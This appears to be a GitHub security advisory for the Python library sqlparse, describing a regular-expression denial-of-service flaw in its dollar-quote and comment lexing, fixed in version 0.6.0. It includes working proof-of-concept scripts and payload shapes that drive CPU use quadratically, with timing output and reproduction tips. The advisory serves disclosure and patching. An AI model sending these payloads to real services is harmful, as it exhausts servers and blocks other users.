GitHub Advisoryadvisory · PyPI

GHSA-prg7-hcfm-mfcr sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

HIGH Published 2026-08-17 Modified 2026-08-17 Official page ↗
Aliases
CVE-2026-59893
Ecosystem
PyPI
Packages
sqlparse
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333
Reviewed
2026-08-17

Affected packages

• PyPI sqlparse: < 0.6.0 → fixed in 0.6.0

Description

Summary sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\1`) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required. Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below. Details The vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`: ```python sqlparse/keywords.py:33 (r'((? str: # N unique unmatched dollar-quote openers — none have a matching closing delimiter return " ".join(f"$a{i}$x" for i in range(n)) for n in [250, 500, 1000, 2000]: payload = make_payload(n) t0 = time.perf_counter() try: sqlparse.parse(payload) status = "ok" except SQLParseError as e: status = f"SQLParseError: {e}" elapsed = time.perf_counter() - t0 print(f"n={n:>5} bytes={len(payload):>7} elapsed={elapsed:.3f}s status={status}") ``` Expected output (super-linear scaling confirms ReDoS): ``` n= 250 bytes= 1889 elapsed=0.066s status=ok n= 500 bytes= 3889 elapsed=0.144s status=ok n= 1000 bytes= 7889 elapsed=0.397s status=ok n= 2000 bytes= 16889 elapsed=1.314s status=ok Key ratio (n=1000 -> n=2000): 3.31x [PASS] Super-linear (O(n^2)) scaling CONFIRMED. ``` Attack input structure: ``` $a0$x $a1$x $a2$x ... $a{N-1}$x ``` Each token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking. Remediation (proposed patch): Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff. Additional affected pattern: multiline comments Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix. Two further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference: ```python sqlparse/keywords.py:20 (r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint), sqlparse/keywords.py:23 (r'/\*[\s\S]*?\*/', tokens.Comment.Multiline), ``` A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N²). PoC ```python import time, sqlparse for n in (2000, 4000, 8000, 16000): payload = "/*x " * n t0 = time.perf_counter() sqlparse.parse(payload) print(f"n={n:6d} bytes={len(payload):7d} elapsed={time.perf_counter()-t0:.3f}s") ``` Lexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping: | openers | bytes | lexing | |---------|-------|--------| | 2,000 | 8 KB | 0.057 s | | 4,000 | 16 KB | 0.196 s | | 8,000 | 32 KB | 0.729 s | | 16,000 | 64 KB | 2.717 s | Roughly 3.7x per doubling of the input, i.e. quadratic. Note for reproduction: `"/*" * n` on its own is *linear* and does not reproduce the issue — in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `"/*x "`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present. Impact This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient. Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack. Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs. Reproduction artifacts `Dockerfile` ```dockerfile FROM python:3.11-slim Install build dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ build-essential \ && rm -rf /var/lib/apt/lists/* WORKDIR /app Copy the sqlparse repository source code COPY repo/ /app/repo/ Install sqlparse from local source in editable mode RUN pip install --no-cache-dir -e …

Related

Alias · CVE (1)

  • CVE-2026-59893 sqlparse is a non-validating SQL parser module for Python. vulnerability

Weakness · CWE (1)

  • CWE-1333 Inefficient Regular Expression Complexity weakness

References